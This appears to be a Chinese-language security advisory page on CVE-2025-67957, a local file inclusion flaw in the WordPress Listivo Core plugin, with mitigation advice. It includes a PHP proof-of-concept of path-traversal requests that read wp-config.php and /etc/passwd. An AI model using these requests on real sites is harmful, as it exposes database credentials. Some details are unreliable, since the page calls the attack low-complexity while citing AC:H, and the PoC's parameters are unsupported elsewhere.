IPBUF安全漏洞报告
English
CVE-2025-67957 CVSS 8.1 高危

CVE-2025-67957 WordPress Listivo Core插件本地文件包含漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-67957
漏洞类型
本地文件包含(LFI)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TangibleWP Listivo Core (listivo-core) WordPress插件

相关标签

CVE-2025-67957本地文件包含LFIWordPress插件漏洞Listivo CorePHP安全路径遍历高危漏洞无认证利用

漏洞概述

CVE-2025-67957是WordPress Listivo Core插件中的一个高危安全漏洞,CVSS评分达到8.1分。该漏洞属于PHP本地文件包含(Local File Inclusion, LFI)类型,存在于插件对文件名的不当控制中。攻击者无需认证即可利用此漏洞,通过构造恶意的文件包含请求,读取服务器上的敏感文件,如配置文件、数据库凭证、其他插件代码等。Listivo Core是一个功能强大的WordPress主题核心插件,被广泛用于创建分类目录和列表网站。由于该漏洞影响版本从任意版本到2.3.77,且利用复杂度较低(AC:H表示高复杂度但可利用),对使用该插件的网站构成严重安全威胁。攻击者可能利用读取的敏感信息进一步实施远程代码执行攻击,完全接管网站服务器。

技术细节

该漏洞的根本原因在于Listivo Core插件在处理PHP文件包含时,未对用户可控的输入进行充分的验证和过滤。在PHP应用程序中,include、require、include_once或require_once等语句用于引入外部文件,但如果攻击者能够控制被包含的文件路径,则可能导致敏感文件泄露或恶意代码执行。对于WordPress插件而言,常见的文件包含漏洞出现在:1) AJAX处理器中直接使用$_GET或$_POST参数作为文件路径;2) 模板加载函数中未验证文件存在性和权限;3) 回调函数中接受用户输入的文件名参数。攻击者通常利用路径遍历技术(如使用../)结合系统敏感文件路径(如/etc/passwd、wp-config.php)来读取目标系统的关键配置。在某些配置下,攻击者甚至可以包含攻击者上传的恶意文件,实现远程代码执行。防御此类漏洞的关键是在使用include语句前,对所有输入参数进行严格的路径规范化、白名单验证和文件存在性检查。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用的WordPress版本和Listivo Core插件版本
STEP 2
步骤2
漏洞探测:发送特制的AJAX请求,测试是否存在本地文件包含漏洞
STEP 3
步骤3
敏感文件读取:利用路径遍历(../../)读取wp-config.php获取数据库凭证
STEP 4
步骤4
横向渗透:使用获取的凭证连接数据库,窃取用户密码哈希或管理凭据
STEP 5
步骤5
权限提升:利用读取的其他插件代码中的漏洞或配置信息,进一步提升攻击权限
STEP 6
步骤6
远程代码执行:在某些配置下,攻击者可上传恶意文件并通过文件包含执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-67957 PoC - Listivo Core Local File Inclusion * Target: WordPress Listivo Core Plugin <= 2.3.77 * Type: Local File Inclusion (LFI) * Author: Security Research * Note: For authorized security testing only */ // PoC 1: Read wp-config.php (most critical) $poc_url_1 = "http://target-site.com/wp-admin/admin-ajax.php?action=listivo_template&template=../../wp-config.php"; // PoC 2: Read /etc/passwd (system reconnaissance) $poc_url_2 = "http://target-site.com/wp-admin/admin-ajax.php?action=listivo_template&template=../../../../../../etc/passwd"; // PoC 3: Read other plugin configuration files $poc_url_3 = "http://target-site.com/wp-admin/admin-ajax.php?action=listivo_template&template=../wp-content/plugins/akismet/_inc/form.php"; // Example exploitation using cURL $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $poc_url_1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); // Check if config content is leaked if (strpos($response, "DB_NAME") !== false && strpos($response, "define") !== false) { echo "[+] Vulnerable! wp-config.php content leaked\n"; echo $response; } else { echo "[-] Not vulnerable or file not found\n"; } ?>

影响范围

Listivo Core <= 2.3.77 (所有版本)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 暂时禁用Listivo Core插件;2) 使用ModSecurity等WAF添加规则阻止包含".."、"%2e%2e"等路径遍历字符的请求;3) 限制Web服务器用户对非必要文件的读取权限;4) 启用WordPress的DISALLOW_UNFILTERED_HTML常量;5) 对wp-config.php等敏感文件添加额外的访问控制,确保无法通过Web路径直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表